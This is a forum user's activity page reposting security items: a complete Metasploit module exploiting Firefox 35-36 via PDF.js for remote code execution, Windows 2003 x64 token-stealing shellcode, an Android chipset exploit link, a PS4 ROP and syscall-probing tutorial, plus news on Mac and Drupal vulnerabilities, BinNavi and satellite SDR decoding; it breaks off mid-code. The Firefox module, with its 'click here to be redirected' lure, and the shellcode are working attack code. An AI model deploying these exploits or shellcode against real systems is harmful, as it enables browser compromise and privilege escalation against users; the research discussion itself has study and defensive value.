Jump to content

Nytro

Administrators
 View Profile  See their activity

  • Posts

    18715

  • Joined

  • Last visited

  • Days Won

    701

 Content Type 

Everything posted by Nytro

  1. Nytro
    Firefox PDF.js Privileged Javascript Injection Authored by temp66, joev, Marius Mlynski | Site metasploit.com This Metasploit module gains remote code execution on Firefox 35-36 by abusing a privilege escalation bug in resource:// URIs. PDF.js is used to exploit the bug. This exploit requires the user to click anywhere on the page to trigger the vulnerability. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::Remote::FirefoxPrivilegeEscalation def initialize(info={}) super(update_info(info, 'Name' => 'Firefox PDF.js Privileged Javascript Injection', 'Description' => %q{ This module gains remote code execution on Firefox 35-36 by abusing a privilege escalation bug in resource:// URIs. PDF.js is used to exploit the bug. This exploit requires the user to click anywhere on the page to trigger the vulnerability. }, 'Author' => [ 'Unknown', # PDF.js injection code was taken from a 0day 'Marius Mlynski', # discovery and pwn2own exploit 'joev' # copypasta monkey, CVE-2015-0802 ], 'DisclosureDate' => "Mar 31 2015", 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2015-0816'], # pdf.js can load chrome:// ['CVE', '2015-0802'] # can access messageManager property in chrome window ], 'Targets' => [ [ 'Universal (Javascript XPCOM Shell)', { 'Platform' => 'firefox', 'Arch' => ARCH_FIREFOX } ], [ 'Native Payload', { 'Platform' => %w{ java linux osx solaris win }, 'Arch' => ARCH_ALL } ] ], 'DefaultTarget' => 0, 'BrowserRequirements' => { :source => 'script', :ua_name => HttpClients::FF, :ua_ver => lambda { |ver| ver.to_i.between?(35, 36) } } )) register_options([ OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>." ]) ], self.class) end def on_request_exploit(cli, request, target_info) print_status('Sending exploit...') send_response_html(cli, html) end def html "<!doctype html><html><body>#{datastore['CONTENT'] || default_html}"+ "<script>#{js}</script></body></html>" end def default_html "The page has moved. <span style='text-decoration:underline;'>Click here</span> to be redirected." end def js key = Rex::Text.rand_text_alpha(5 + rand(12)) frame = Rex::Text.rand_text_alpha(5 + rand(12)) r = Rex::Text.rand_text_alpha(5 + rand(12)) opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin <<-EOJS function xml2string(obj) { return new XMLSerializer().serializeToString(obj); } function __proto(obj) { return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__; } function get(path, callback, timeout, template, value) { callback = _(callback); if (template && value) { callback = callback.replace(template, value); } js_call1 = 'javascript:' + _(function() { try { done = false; window.onclick = function() { if (done) { return; } done = true; q = open("%url%", "q", "chrome,,top=-9999px,left=-9999px,height=1px,width=1px"); setTimeout(function(){ q.location='data:text/html,<iframe mozbrowser src="about:blank"></iframe>'; setTimeout(function(){ var opts = #{JSON.unparse(opts)}; var key = opts['#{key}']; q.messageManager.loadFrameScript('data:,'+key, false); setTimeout(function(){ q.close(); }, 100) }, 100) }, 100); } } catch (e) { history.back(); } undefined; }, "%url%", path); js_call2 = 'javascript:;try{updateHidden();}catch(e){};' + callback + ';undefined'; sandboxContext(_(function() { p = __proto(i.contentDocument.styleSheets[0].ownerNode); l = p.__lookupSetter__.call(i2.contentWindow, 'location'); l.call(i2.contentWindow, window.wrappedJSObject.js_call1); })); setTimeout((function() { sandboxContext(_(function() { p = __proto(i.contentDocument.styleSheets[0].ownerNode); l = p.__lookupSetter__.call(i2.contentWindow, 'location'); l.call(i2.contentWindow, window.wrappedJSObject.js_call2); })); }), timeout); } function get_data(obj) { data = null; try { data = obj.document.documentElement.innerHTML; if (data.indexOf('dirListing') < 0) { throw new Error(); } } catch (e) { if (this.document instanceof XMLDocument) { data = xml2string(this.document); } else { try { if (this.document.body.firstChild.nodeName.toUpperCase() == 'PRE') { data = this.document.body.firstChild.textContent; } else { throw new Error(); } } catch (e) { try { if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') > -1) {; return null; } else { throw new Error(); } } catch (e) { ;; } } } } return data; } function _(s, template, value) { s = s.toString().split(/^\\s*function\\s+\\(\\s*\\)\\s*\\{/)[1]; s = s.substring(0, s.length - 1); if (template && value) { s = s.replace(template, value); } s += __proto; s += xml2string; s += get_data; s = s.replace(/\\s\\/\\/.*\\n/g, ""); s = s + ";undefined"; return s; } function get_sandbox_context() { if (window.my_win_id == null) { for (var i = 0; i < 20; i++) { try { if (window[i].location.toString().indexOf("view-source:") != -1) { my_win_id = i; break; } } catch (e) {} } }; if (window.my_win_id == null) return; clearInterval(sandbox_context_i); object.data = 'view-source:' + blobURL; window[my_win_id].location = 'data:application/x-moz-playpreview-pdfjs;,'; object.data = 'data:text/html,<'+'html/>'; window[my_win_id].frameElement.insertAdjacentHTML('beforebegin', '<iframe style='+ '"position:absolute; left:-9999px;" onload = "'+_(function(){ window.wrappedJSObject.sandboxContext=(function(cmd) { with(importFunction.constructor('return this')()) { return eval(cmd); } }); }) + '"/>'); } var HIDDEN = 'position:absolute;left:-9999px;height:1px;width:1px;'; var i = document.createElement("iframe"); i.id = "i"; i.style=HIDDEN; i.src = "data:application/xml,<?xml version=\\"1.0\\"?><e><e1></e1></e>"; document.documentElement.appendChild(i); i.onload = function() { if (this.contentDocument.styleSheets.length > 0) { var i2 = document.createElement("iframe"); i2.id = "i2"; i2.style='opacity: 0;position:absolute;top:0;left:0;right:0;bottom:0;'; i2.height = window.innerHeight+'px'; i2.width = window.innerWidth+'px'; i2.src = "data:application/pdf,"; document.documentElement.appendChild(i2); pdfBlob = new Blob([''], { type: 'application/pdf' }); blobURL = URL.createObjectURL(pdfBlob); object = document.createElement('object'); object.style=HIDDEN; object.data = 'data:application/pdf,'; object.onload = (function() { sandbox_context_i = setInterval(get_sandbox_context, 200); object.onload = null; object.data = 'view-source:' + location.href; return; }); document.documentElement.appendChild(object); } else { this.contentWindow.location.reload(); } } document.body.style.height = window.innerHeight+'px'; var kill = setInterval(function() { if (window.sandboxContext) { var f = "chrome://browser/content/browser.xul"; get(f, function() {}, 0, "%URL%", f); clearInterval(kill); } else { return; } },20); EOJS end end Sursa: https://packetstormsecurity.com/files/133271
  2. Nytro
    Check this: original_function = (LPVOID)GetProcAddress(GetModuleHandle("chrome.dll"),"SSL_Write"); It's wrong. Chrome.dll does not export that function. Binary find it.
  3. Nytro
    Zero-day flaw found in Mac OS X Yosemite security update by Jason Murdock 18 Aug 2015 An Italian teenager has discovered a previously unknown zero-day vulnerability in Apple's Mac OS X platform that could be exploited by hackers to allow privileged access to Mac systems. A proof-of-concept has been released by Luca Todesco, 18, who said the exploit uses bugs to corrupt the memory in the operating system that can then be used to access the system root shell. The flaw, dubbed 'tpwn', is said to affect all versions of Yosemite, including the recently patched 10.10.5, but reportedly does not affect El Capitan. Details of the flaw have been published on GitHub, and Todesco has faced criticism for contacting Apple about the problem only a few hours before publishing his findings. Todesco said on Twitter that he has received significant condemnation on social media after publishing the code without giving Apple enough time to release a security fix. This is kinda getting out of proportion. Best outcome for me would have simply been to stay quiet. I had reasons to drop it the other day. — Luca Todesco (@qwertyoruiop) August 17, 2015 Todesco has released a third-party patch for the vulnerability called NullGuard which is included in the material published to GitHub, but it is not considered an official release and is not certified by Apple. NULLGuard - Fixes tpwn & prevents NULL page mapping, rendering many bugs unexploitable. http://github.com/kpwn/NULLGuard — Luca Todesco (@qwertyoruiop) August 16, 2015 The news comes after Apple recently rolled out a patch for OS X 10.10.5 to fix a ‘print to file' vulnerability discovered by German researcher Stefan Esser that allowed hackers to inject malware and adware into the Mac operating system without needing a password. A separate research team discovered another major security flaw called Thunderstrike 2 that targets Mac firmware. Thunderstrike 2 was revealed at the 2015 Black Hat security conference in Las Vegas and can infect a MacBook via a phishing email that can then spread to any other hardware with which it comes into contact. V3 has contacted Apple about whether the firm plans to release a patch for the 'tpwn' flaw but had not received a reply at the time of publication. Sursa: http://www.v3.co.uk/v3-uk/news/2422517/zero-day-flaw-found-in-mac-os-x-yosemite-security-update
  4. Nytro

    BinNavi

    Nytro posted a topic in Programe utile

    BinNavi Copyright 2015 Google Inc. Disclaimer: This is not an official Google product (experimental or otherwise), it is just code that happens to be owned by Google. Introduction BinNavi is a binary analysis IDE - an environment that allows users to inspect, navigate, edit, and annotate control-flow-graphs of disassembled code, do the same for the callgraph of the executable, collect and combine execution traces, and generally keep track of analysis results among a group of analysts. Link: https://github.com/google/binnavi
  5. Nytro
    Drupal 6.37 and 7.39 released, critical vulnerabilities addressed Robert Abel, Content Coordinator Open source content management (CMS) platform Drupal has issued security patches to address several critical vulnerabilities affecting Drupal 6 and 7. According to the Wednesday advisory, versions of Drupal prior to 6.37 and 7.39 contain three vulnerabilities, including a cross-site scripting bug in the Autocomplete system, a cross-site request forgery bug in Form API, and an information disclosure flaw in Access system. The cross-site forgery vulnerability located in Form API “could allow a malicious user to upload files to the site under another user's account,” the advisory said. Vulnerable versions of Drupal 7 are affected by two additional issues, including a cross-site scripting bug in the Ajax system and a SQL injection vulnerability in Database API. The SQL injection vulnerability can enable a “user with elevated permissions to inject malicious code in SQL comments,” the advisory said. Sursa: Drupal 6.37 and 7.39 released, critical vulnerabilities addressed - SC Magazine
  6. Nytro
    DECODING SATELLITE-BASED TEXT MESSAGES WITH RTL-SDR AND HACKED GPS by: Rick Osgood August 21, 2015 [Carl] just found a yet another use for the RTL-SDR. He’s been decoding Inmarsat STD-C EGC messages with it. Inmarsat is a British satellite telecommunications company. They provide communications all over the world to places that do not have a reliable terrestrial communications network. STD-C is a text message communications channel used mostly by maritime operators. This channel contains Enhanced Group Call (EGC) messages which include information such as search and rescue, coast guard, weather, and more. Not much equipment is required for this, just the RTL-SDR dongle, an antenna, a computer, and the cables to hook them all up together. Once all of the gear was collected, [Carl] used an Android app called Satellite AR to locate his nearest Inmarsat satellite. Since these satellites are geostationary, he won’t have to move his antenna once it’s pointed in the right direction. Hacked GPS antennaAs far as antennas go, [Carl] recommends a dish or helix antenna. If you don’t want to fork over the money for something that fancy, he also explains how you can modify a $10 GPS antenna to work for this purpose. He admits that it’s not the best antenna for this, but it will get the job done. A typical GPS antenna will be tuned for 1575 MHz and will contain a band pass filter that prevents the antenna from picking up signals 1-2MHz away from that frequency. To remove the filter, the plastic case must first be removed. Then a metal reflector needs to be removed from the bottom of the antenna using a soldering iron. The actual antenna circuit is hiding under the reflector. The filter is typically the largest component on the board. After desoldering, the IN and OUT pads are bridged together. The whole thing can then be put back together for use with this project. Once everything was hooked up and the antenna was pointed in the right place, the audio output from the dongle was piped into the SDR# tuner software. After tuning to the correct frequency and setting all of the audio parameters, the audio was then decoded with another program called tdma-demo.exe. If everything is tuned just right, the software will be able to decode the audio signal and it will start to display messages. [Carl] posted some interesting examples including a couple of pirate warnings. If you can’t get enough RTL-SDR hacks, be sure to check out some of the others we’ve featured in the past. And don’t forget to send in links to your own hacking! Sursa: http://hackaday.com/2015/08/21/decoding-satellite-based-text-messages-with-rtl-sdr-and-hacked-gps/
  7. Nytro
    [h=1]Win2003 x64 - Token Stealing shellcode - 59 bytes[/h] ;token stealing shellcode Win 2003 x64;based on the widely available x86 version ;syntax for NASM ;Author: Csaba Fitzl, @theevilbit ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;important structures and offsets; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;kd> dt -r1 nt!_TEB ; +0x110 SystemReserved1 : [54] Ptr64 Void ;??????+0x078 KTHREAD <----- NOT DOCUMENTED, can't get it from WINDBG directly ;kd> dt -r1 nt!_KTHREAD ; +0x048 ApcState : _KAPC_STATE ; +0x000 ApcListHead : [2] _LIST_ENTRY ; +0x020 Process : Ptr64 _KPROCESS ;kd> dt -r1 nt!_EPROCESS ; +0x0d8 UniqueProcessId : Ptr64 Void ; +0x0e0 ActiveProcessLinks : _LIST_ENTRY ; +0x000 Flink : Ptr64 _LIST_ENTRY ; +0x008 Blink : Ptr64 _LIST_ENTRY ; +0x160 Token : _EX_FAST_REF ; +0x000 Object : Ptr64 Void ; +0x000 RefCnt : Pos 0, 4 Bits ; +0x000 Value : Uint8B BITS 64 global start section .text start: mov rax, [gs:0x188] ;Get current ETHREAD in mov rax, [rax+0x68] ;Get current EPROCESS address mov rcx, rax ;Copy current EPROCESS address to RCX find_system_process: mov rax, [rax+0xe0] ;Next EPROCESS ActiveProcessLinks.Flink sub rax, 0xe0 ;Go to the beginning of the EPROCESS structure mov r9 , [rax+0xd8] ;Copy PID to R9 cmp r9 , 0x4 ;Compare R9 to SYSTEM PID (=4) jnz short find_system_process ;If not SYSTEM got to next EPROCESS stealing: mov rdx, [rax+0x160] ;Copy SYSTEM process token address to RDX mov [rcx+0x160], rdx ;Steal token with overwriting our current process's token address retn 0x10 ;byte stream: ;"\x65\x48\x8b\x04\x25\x88\x01\x00\x00\x48\x8b\x40\x68\x48\x89\xc1" ;"\x48\x8b\x80\xe0\x00\x00\x00\x48\x2d\xe0\x00\x00\x00\x4c\x8b\x88" ;"\xd8\x00\x00\x00\x49\x83\xf9\x04\x75\xe6\x48\x8b\x90\x60\x01\x00" ;"\x00\x48\x89\x91\x60\x01\x00\x00\xc2\x10\x00" Sursa: https://www.exploit-db.com/exploits/37895/
  8. Nytro
    Exploit Android MSM8974 Chipset MSM8974_exploit Full exploit for MSM8974 Link: https://github.com/linhphi9x94/Exploit_Android_MSM8974
  9. Nytro
    Analysis of PS4's security and the state of hacking Since there haven't been any major public announcements regarding PS4 hacking for a long time now, I wanted to explain a bit about how far PS4 hacking has come, and what is preventing further progression. I will explain some security concepts that generally apply to all modern systems, and the discoveries that I have made from running ROP tests on my PS4. If you are not particularly familiar with exploitation, you should read my article about exploiting DS games through stack smash vulnerabilities in save files first. You may download my complete setup here to run these tests yourself; it is currently for firmware 1.76 only. Background information about the PS4 As you probably know the PS4 features a custom AMD x86-64 CPU (8 cores), and there are loads of research available for this CPU architecture, even if this specific version might deviate slightly from known standards. For example, PFLA (Page Fault Liberation Army) released a proof of concept implementing a complete Turing machine using only page faults and the x86 MMU during the 29C3 congress, check their awesome video over at YouTube. Also interesting if you are trying to run code within a virtual machine and want to execute instructions on the host CPU. - EurAsia news article 3251 As well as having a well documented CPU architecture, much of the software used in the PS4 is open source. Most notably, the PS4's Orbis OS is based on FreeBSD, just like the PS3's OS was (with parts of NetBSD as well); but as well as FreeBSD 9.0, other noticable software used includes Mono VM, and WebKit. WebKit entry point WebKit is the open source layout engine which renders web pages in the browsers for iOS, Wii U, 3DS, PS Vita, and the PS4. Although so widely used and mature, WebKit does have its share of vulnerabilities; you can learn about most of them by reading Pwn2Own write-ups. In particular, the browser in PS4 firmware 1.76 uses a version of WebKit which is vulnerable to CVE-2012-3748, a heap-based buffer overflow in the JSArray::sort(...) method. In 2014, nas and Proxima announced that they had successfully been able to port this exploit to the PS4's browser, and released the PoC code publicly as the first entry point into hacking the PS4. This gives us arbitrary read and write access to everything the WebKit process can read and write to, which can be used to dump modules, and overwrite return addresses on the stack, letting us control the Program Counter (for ROP). Since then, many other vulnerabilities have been found in WebKit, which could probably allow for module dumping and ROP on later firmwares of the PS4, but as of writing, no one has ported any of these exploits to the PS4 publicly. What is ROP? Unlike in primitive devices like the DS and PSP, the PS4 has a kernel which controls the properties of different areas of memory. Pages of memory which are marked as executable cannot be overwritten, and pages of memory which are marked as writable cannot be executed; this is known as Data Execution Prevention (DEP). This means that we can't just copy a payload into memory and execute it. However, we can execute code that is already loaded into memory and marked as executable. It wouldn't be very useful to jump to a single address if we can't write our own code to that address, so we use ROP. Return-Oriented Programming (ROP) is just an extension to traditional stack smashing, but instead of overwriting only a single value which the PC will jump to, we can chain together many different addresses, known as gadgets. A gadget is usually just a single desired instruction followed by a ret. In x86_64 assembly, when a ret instruction is reached, a 64bit value is popped off the stack and the PC jumps to it; since we can control the stack, we can make every ret instruction jump to the next desired gadget. For example, from 0x80000 may contains instructions: mov rax, 0 retAnd from 0x90000 may contain instructions: mov rbx, 0 ret If we overwrite a return address on the stack to contain 0x80000 followed by 0x90000, then as soon as the first ret instruction is reached execution will jump to mov rax, 0, and immediately afterwards, the next ret instruction will pop 0x90000 off the stack and jump to mov rbx, 0. Effectively this chain will set both rax and rbx to 0, just as if we had written the code into a single location and executed it from there. ROP chains aren't just limited to a list of addresses though; assuming that from 0xa0000 contains these instructions: pop rax retWe can set the first item in the chain to 0xa0000 and the next item to any desired value for rax. Gadgets also don't have to end in a ret instruction; we can use gadgets ending in a jmp: add rax, 8 jmp rcxBy making the rcx point to a ret instruction, the chain will continue as normal: chain.add("pop rcx", "ret"); chain.add("add rax, 8; jmp rcx"); Sometimes you won't be able to find the exact gadget that you need on its own, but with other instructions after it. For example, if you want to set r8 to something, but only have this gadget, you will have to set r9 to some dummy value: pop r8 pop r9 ret Although you may have to be creative with how you write ROP chains, it is generally accepted that within a sufficiently large enough code dump, there will be enough gadgets for Turing-complete functionality; this makes ROP a viable method of bypassing DEP. Finding gadgets Think of ROP as writing a new chapter to a book, using only words that have appeared at the end of sentences in the previous chapters. It's obvious from the structure of most sentences that we probably won't be able to find words like 'and' or 'but' appearing at the end of any sentences, but we will need these connectives in order to write anything meaningful. It is quite possible however, that a sentence has ended with 'sand'. Although the author only ever intended for the word to be read from the 's', if we start reading from the 'a', it will appear as an entirely different word by coincidence, 'and'. These principles also apply to ROP. Since the structure of almost all functions follows something like this: ; Save registers push rbp mov rbp, rsp push r15 push r14 push r13 push r12 push rbx sub rsp, 18h ; Function body ; Restore registers add rsp, 18h pop rbx pop r12 pop r13 pop r14 pop r15 pop rbp ret You'd expect to only be able to find pop gadgets, or more rarely, something like xor rax, rax to set the return value to 0 before returning. Having a comparison like: cmp [rax], r12 ret Wouldn't make any sense since the result of the comparison isn't used by the function. However, there is still a possibility that we can find gadgets like these. x86_64 instructions are similar to words in that they variable lengths, and can mean something entirely different depending on where decoding starts. The x86_64 architecture is a variable-length CISC instruction set. Return-oriented programming on the x86_64 takes advantage of the fact that the instruction set is very "dense", that is, any random sequence of bytes is likely to be interpretable as some valid set of x86_64 instructions. - Wikipedia To demonstrate this, take a look at the end of this function from the WebKit module: 000000000052BE0D mov eax, [rdx+8] 000000000052BE10 mov [rsi+10h], eax 000000000052BE13 or byte ptr [rsi+39h], 20h 000000000052BE17 retNow take a look at what the code looks like if we start decoding from 0x52be14: 000000000052BE14 cmp [rax], r12 000000000052BE17 ret Even though this code was never intended to be executed, it is within an area of memory which has been marked as executable, so it is perfectly valid to use as a gadget. Of course, it would be incredibily time consuming to look at every possible way of interpreting code before every single ret instruction manually; and that's why tools exist to do this for you. The one which I use to search for ROP gadgets is rp++; to generate a text file filled with gadgets, just use: rp-win-x64 -f mod14.bin --raw=x64 --rop=1 --unique > mod14.txt Segmentation faults If we do try to execute a non-executable page of memory, or try to write to a non-writable page of memory, a segmentation fault will occur. For example, trying to execute code on the stack, which is mapped as read and write only: setU8to(chain.data + 0, 0xeb); setU8to(chain.data + 1, 0xfe); chain.add(chain.data);And trying to write to code, which is mapped as read and execute only: setU8to(moduleBases[webkit], 0);If a segmentation fault occurs, a message saying "There is not enough free system memory" will appear, and the page will fail to load: There are other possible reasons for this message to be displayed, such as executing an invalid instruction or an unimplemented system call, but a segmentation fault is the most common. ASLR Address Space Layout Randomization (ASLR) is a security technique which causes the base addresses of modules to be different every time you start the PS4. It has been reported to me that , but it was introduced sometime before firmware 1.70. Note that kernel ASLR is not enabled (for firmwares 1.76 and lower at least), which will be proved later in the article. For most exploits ASLR would be a problem because if you don't know the addresses of the gadgets in memory, you would have no idea what to write to the stack. Luckily for us, we aren't limited to just writing static ROP chains. We can use JavaScript to read the modules table, which will tell us the base addresses of all loaded modules. Using these bases, we can then calculate the addresses of all our gadgets before we trigger ROP execution, bypassing ASLR. The modules table also includes the filenames of the modules: WebProcess.self libkernel.sprx libSceLibcInternal.sprx libSceSysmodule.sprx libSceNet.sprx libSceNetCtl.sprx libSceIpmi.sprx libSceMbus.sprx libSceRegMgr.sprx libSceRtc.sprx libScePad.sprx libSceVideoOut.sprx libScePigletv2VSH.sprx libSceOrbisCompat.sprx libSceWebKit2.sprx libSceSysCore.sprx libSceSsl.sprx libSceVideoCoreServerInterface.sprx libSceSystemService.sprx libSceCompositeExt.sprx Although the PS4 predominantly uses the [signed] PPU Relocatable Executable (PRX) format for modules, some string references to [signed] Executable and Linking Format (ELF) object files can also be found in the libSceSysmodule.sprx dump, such as bdj.elf,web_core.elf and orbis-jsc-compiler.self. This combination of modules and objects is similar to what is used in the PSP and PS3. You can view a complete list of all modules available (not just those loaded by the browser) in libSceSysmodule.sprx. We can load and dump some of these through several of Sony's custom system calls, which will be explained later in this article. JuSt-ROP Using JavaScript to write and execute dynamic ROP chains gives us a tremendous advantage over a standard buffer overflow attack. As well as bypassing ASLR, we can also read the user agent of the browser, and provide a different ROP chain for different browser versions, giving our exploit the highest compatibility possible. We can even use JavaScript to read the memory at our gadgets' addresses to check that they are correct, giving us almost perfect reliability. Writing ROP chains dynamically, rather than generating them with a script beforehand, just makes sense. I created a JavaScript framework for writing ROP chains, JuSt-ROP, for this very reason. JavaScript caveats JavaScript represents numbers using the IEEE-754 double-precision (64bit) format. This provides us with 53bit precision, meaning that it isn't possible to represent every 64bit value, approximations will have to be used for some. If you just need to set a 64bit value to something low, like 256, then setU64to will be fine. But for situations in which you need to write a buffer or struct of data, there is the possibility that certain bytes will be written incorrectly if it has been written in 64bit chunks. Instead, you should write data in 32bit chunks (remembering that the PS4 is little endian), to ensure that every byte is exact. System calls Interestingly, the PS4 uses the same calling convention as Linux and MS-DOS for system calls, with arguments stored in registers, rather than the traditional UNIX way (which FreeBSD uses by default), with arguments stored in the stack: rax - System call number rdi - Argument 1 rsi - Argument 2 rdx - Argument 3 r10 - Argument 4 r8 - Argument 5 r9 - Argument 6 We can try to perform any system call with the following JuSt-ROP method: this.syscall = function(name, systemCallNumber, arg1, arg2, arg3, arg4, arg5, arg6) { console.log("syscall " + name); this.add("pop rax", systemCallNumber); if(typeof(arg1) !== "undefined") this.add("pop rdi", arg1); if(typeof(arg2) !== "undefined") this.add("pop rsi", arg2); if(typeof(arg3) !== "undefined") this.add("pop rdx", arg3); if(typeof(arg4) !== "undefined") this.add("pop rcx", arg4); if(typeof(arg5) !== "undefined") this.add("pop r8", arg5); if(typeof(arg6) !== "undefined") this.add("pop r9", arg6); this.add("pop rbp", stackBase + returnAddress - (chainLength + 8) + 0x1480); this.add("mov r10, rcx; syscall"); } Using system calls can tell us a huge amount about the PS4 kernel. Not only that, but using system calls is most likely the only way that we can interact with the kernel, and thus potentially trigger a kernel exploit. If you are reverse engineering modules to identify some of Sony's custom system calls, you may come across an alternative calling convention: Sometimes Sony performs system calls through regular system call 0 (which usually does nothing in FreeBSD), with the first argument (rdi) controlling which system call should be executed: rax - 0 rdi - System call number rsi - Argument 1 rdx - Argument 2 r10 - Argument 3 r8 - Argument 4 r9 - Argument 5 It is likely that Sony did this to have easy compatibility with the function calling convention, for example: unsigned long syscall(unsigned long n, ...) { register unsigned long rax asm("rax"); asm("mov r10, rcx"); rax = 0; asm("syscall"); return rax; }[FONT=Arial]Using this, they can perform any system call from C.[/FONT] [FONT=Arial]When writing ROP chains, we can use either convention:[/FONT] // Both will get the current process ID: chain.syscall("getpid", 20); chain.syscall("getpid", 0, 20); It's good to be aware of this, because we can use whichever one is more convenient for the gadgets that are available. getpid Just by using system call 20, getpid(void), we can learn a lot about the kernel. The very fact that this system call works at all tells us that Sony didn't bother mixing up the system call numbers as a means of security through obscurity (under the BSD license they could have done this without releasing the new system call numbers). So, we automatically have a list of system calls in the PS4 kernel to try. Secondly, by calling getpid(), restarting the browser, and calling it again, we get a return value 1 higher than the previous value. Although FreeBSD has supported PID randomisation since 4.0, sequential PID allocation is the default behaviour. The fact that PID allocation is set to the default behaviour indicates that Sony likely didn't bother adding any additional security enhancements such as those encouraged by projects like HardenedBSD. How many custom system calls are there? The last standard FreeBSD 9 system call is wait6, number 532; anything higher than this must be a custom Sony system call. Invoking most of Sony's custom system calls without the correct arguments will return error 0x16, "Invalid argument"; however, any compatibility or unimplemented system calls will report the "There is not enough free system memory" error. Through trial and error, I have found that system call number 617 is the last Sony system call, anything higher is unimplemented. From this, we can conclude that there are 85 custom Sony system calls in the PS4's kernel (617 - 532). This is significantly less than the PS3, which had almost 1000 system calls in total. This indicates that we have fewer possible attack vectors, but that it may be easier to document all of the system calls. Furthermore, 9 of these 85 system calls always return 0x4e, ENOSYS, which suggests that they may only be callable from development units, leaving us with just 76 which are usable. Of these 76, only 45 are referenced by libkernel.sprx (which all non-core applications use to perform system calls), so developers only have 45 custom system calls which they can use. Interestingly, although only 45 are intended to be called (because libkernel.sprx has wrappers for them), some of the other 31 are still callable from the Internet Browser process. It is more likely for these unintended system calls to have vulnerabilities in them, since they have probably had the least amount of testing. libkernel.sprx To identify how custom system calls are used by libkernel, you must first remember that it is just a modification of the standard FreeBSD 9.0 libraries. Here's an extract of _libpthread_init from thr_init.c: /* * Check for the special case of this process running as * or in place of init as pid = 1: */ if ((_thr_pid = getpid()) == 1) { /* * Setup a new session for this process which is * assumed to be running as root. */ if (setsid() == -1) PANIC("Can't set session ID"); if (revoke(_PATH_CONSOLE) != 0) PANIC("Can't revoke console"); if ((fd = __sys_open(_PATH_CONSOLE, O_RDWR)) < 0) PANIC("Can't open console"); if (setlogin("root") == -1) PANIC("Can't set login to root"); if (_ioctl(fd, TIOCSCTTY, (char *) NULL) == -1) PANIC("Can't set controlling terminal"); } The same function can be found at offset 0x215F0 from libkernel.sprx. This is how the above extract looks from within a libkernel dump: call getpid mov cs:dword_5B638, eax cmp eax, 1 jnz short loc_2169F call setsid cmp eax, 0FFFFFFFFh jz loc_21A0C lea rdi, aDevConsole ; "/dev/console" call revoke test eax, eax jnz loc_21A24 lea rdi, aDevConsole ; "/dev/console" mov esi, 2 xor al, al call open mov r14d, eax test r14d, r14d js loc_21A3C lea rdi, aRoot ; "root" call setlogin cmp eax, 0FFFFFFFFh jz loc_21A54 mov edi, r14d mov esi, 20007461h xor edx, edx xor al, al call ioctl cmp eax, 0FFFFFFFFh jz loc_21A6C Reversing module dumps to analyse system calls libkernel isn't completely open source though; there's also a lot of custom code which can help disclose some of Sony's system calls. Although this process will vary depending on the system call you are looking up; for some, it is fairly easy to get a basic understanding of the arguments that are passed to it. The system call wrapper will be declared somewhere in libkernel.sprx, and will almost always follow this template: 000000000000DB70 syscall_601 proc near 000000000000DB70 mov rax, 259h 000000000000DB77 mov r10, rcx 000000000000DB7A syscall 000000000000DB7C jb short error 000000000000DB7E retn 000000000000DB7F 000000000000DB7F error: 000000000000DB7F lea rcx, sub_DF60 000000000000DB86 jmp rcx 000000000000DB86 syscall_601 endp Note that the mov r10, rcx instruction doesn't necessarily mean that the system call takes at least 4 arguments; all system call wrappers have it, even those that take no arguments, such as getpid. Once you've found the wrapper, you can look up xrefs to it: 0000000000011D50 mov edi, 10h 0000000000011D55 xor esi, esi 0000000000011D57 mov edx, 1 0000000000011D5C call syscall_601 0000000000011D61 test eax, eax 0000000000011D63 jz short loc_11D6A It's good to look up several of these, just to make sure that the registers weren't modified for something unrelated: 0000000000011A28 mov edi, 9 0000000000011A2D xor esi, esi 0000000000011A2F xor edx, edx 0000000000011A31 call syscall_601 0000000000011A36 test eax, eax 0000000000011A38 jz short loc_11A3F Consistently, the first three registers of the system call convention (rdi, rsi, and rdx) are modified before invoking the call, so we can conclude with reasonable confidence that it takes 3 arguments. For clarity, this is how we would replicate the calls in JuSt-ROP: chain.syscall("unknown", 601, 0x10, 0, 1); chain.syscall("unknown", 601, 9, 0, 0);As with most system calls, it will return 0 on success, as seen by the jz conditional after testing the return value. Looking up anything beyond than the amount of arguments will require a much more in-depth analysis of the code before and after the call to understand the context, but this should help you get started. Brute forcing system calls Although reverse engineering module dumps is the most reliable way to identify system calls, some aren't referenced at all in the dumps we have so we will need to analyse them blindly. If we guess that a certain system call might take a particular set of arguments, we can brute force all system calls which return a certain value (0 for success) with the arguments that we chose, and ignore all which returned an error. We can also pass 0s for all arguments, and brute force all system calls which return useful errors such as 0xe, "Bad address", which would indicate that they take at least one pointer. Firstly, we will need to execute the ROP chain as soon as the page loads. We can do this by attaching our function to the body element'sonload: <body onload="exploit()">Next we will need to perform a specific system call depending on an HTTP GET value. Although this can be done with JavaScript, I will demonstrate how to do this using PHP for simplicity: var Sony = 533; chain.syscall("Sony system call", Sony + <?php print($_GET["b"]); ?>, 0, 0, 0, 0, 0, 0); chain.write_rax_ToVariable(0);Once the system call has executed, we can check the return value, and if it isn't interesting, redirect the page to the next system call: if(chain.getVariable(0) == 0x16) window.location.assign("index.php?b=" + (<?php print($_GET["b"]); ?> + 1).toString());Running the page with ?b=0 appended to the end will start the brute force from the first Sony system call. Although this method requires a lot of experimentation, by passing different values to some of the system calls found by brute forcing and analysing the new return values, there are a few system calls which you should be able to partially identify. System call 538 As an example, I'll take a look at system call 538, without relying on any module dumps. These are the return values depending on what is passed as the first argument: 0 - 0x16, "Invalid argument" 1 - 0xe, "Bad address" Pointer to 0s - 0x64 initially, but each time the page is refreshed this value increases by 1 Other potential arguments to try would be PID, thread ID, and file descriptor. Although most system calls will return 0 on success, due to the nature of the return value increasing after each time it is called, it seems like it is allocating a resource number, such as a file descriptor. The next thing to do would be to look at the data before and after performing the system call, to see if it has been written to. Since there is no change in the data, we can assume that it is an input for now. I then tried passing a long string as the first argument. You should always try this with every input you find because there is the possibility of discovering a buffer overflow. writeString(chain.data, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"); chain.syscall("unknown", 538, chain.data, 0, 0, 0, 0, 